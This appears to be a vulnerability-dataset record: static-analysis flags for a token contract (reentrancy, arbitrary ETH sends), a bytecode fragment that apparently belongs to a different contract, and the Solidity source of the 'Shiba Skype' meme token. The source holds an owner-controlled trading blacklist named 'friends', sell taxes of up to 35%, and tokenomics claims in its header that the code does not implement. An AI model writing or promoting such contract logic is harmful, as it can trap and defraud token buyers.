f1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b61222981612547565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612901565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124186002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124946002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bf573d6000803e3d6000fd5b5050565b6000600a54821115612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d29602a913960400191505060405180910390fd5b600061252a612b58565b905061253f81846128b790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257c57600080fd5b506040519080825280602002602001820160405280156125ab5781602001602082028036833780820191505090505b50905030816000815181106125bc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265e57600080fd5b505afa158015612672573d6000803e3d6000fd5b505050506040513d602081101561268857600080fd5b8101908080519060200190929190505050816001815181106126a657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127d15780820151818401526020810190506127b6565b505050509050019650505050505050600060405180830381600087803b1580156127fa57600080fd5b505af115801561280e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284457600090506128b1565b600082840290508284828161285557fe5b04146128ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d756021913960400191505060405180910390fd5b809150505b92915050565b60006128f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b83565b905092915050565b8061290f5761290e612c49565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129b25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c2848484612c8c565b612b44565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7f57612a7a848484612eec565b612b43565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b215750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3657612b3184848461314c565b612b42565b612b41848484613441565b5b5b5b80612b5257612b5161360c565b5b50505050565b6000806000612b65613620565b91509150612b7c81836128b790919063ffffffff16565b9250505090565b60008083118290612c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf4578082015181840152602081019050612bd9565b50505050905090810190601f168015612c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3b57fe5b049050809150509392505050565b6000600c54148015612c5d57506000600d54145b15612c6757612c8a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9e876138cd565b955095509550955095509550612cfc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7281613a07565b612e7c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efe876138cd565b955095509550955095509550612f5c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d281613a07565b6130dc8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315e876138cd565b9550955095509550955095506131bc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c781613a07565b6133d18483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613453876138cd565b9550955095509550955095506134b186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061359281613a07565b61359c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138825782600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374157508160036000600984815481106136d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375f57600a54683635c9adc5dea00000945094505050506138c9565b6137e8600260006009848154811061377357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461393590919063ffffffff16565b925061387360036000600984815481106137fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361393590919063ffffffff16565b9150808060010191505061363b565b506138a1683635c9adc5dea00000600a546128b790919063ffffffff16565b8210156138c057600a54683635c9adc5dea000009350935050506138c9565b81819350935050505b9091565b60008060008060008060008060006138ea8a600c54600d54613be6565b92509250925060006138fa612b58565b9050600080600061390d8e878787613c7c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b6000808284019050838110156139fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a11612b58565b90506000613a28828461283190919063ffffffff16565b9050613a7c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba757613b6383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bc182600a5461393590919063ffffffff16565b600a81905550613bdc81600b5461397f90919063ffffffff16565b600b819055505050565b600080600080613c126064613c04888a61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c3c6064613c2e888b61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c6582613c57858c61393590919063ffffffff16565b61393590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c95858961283190919063ffffffff16565b90506000613cac868961283190919063ffffffff16565b90506000613cc3878961283190919063ffffffff16565b90506000613cec82613cde858761393590919063ffffffff16565b61393590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cae6671adc7fd235ac1721339240d00ffecae7229ec173a3be5a73f1707458f764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,804 |
0xe10fbb07ba9d726afec00b8fed9cb8e69523ae7c
|
/**
*
Shiba Skype
totalSupply : 1,000,000,000,000
liquidity : 35%
totalBurn : 60%
Marketing : 3%
team dev : 2%
***** I will add 2 ETH to the Liquidity *****
*
tg: https://t.me/ShibaSkype
twitter : https://twitter.com/ShibaSkype
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool) ;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShibaSkype is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode" Shiba Skype ";
string private constant _symbol = unicode" SS ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
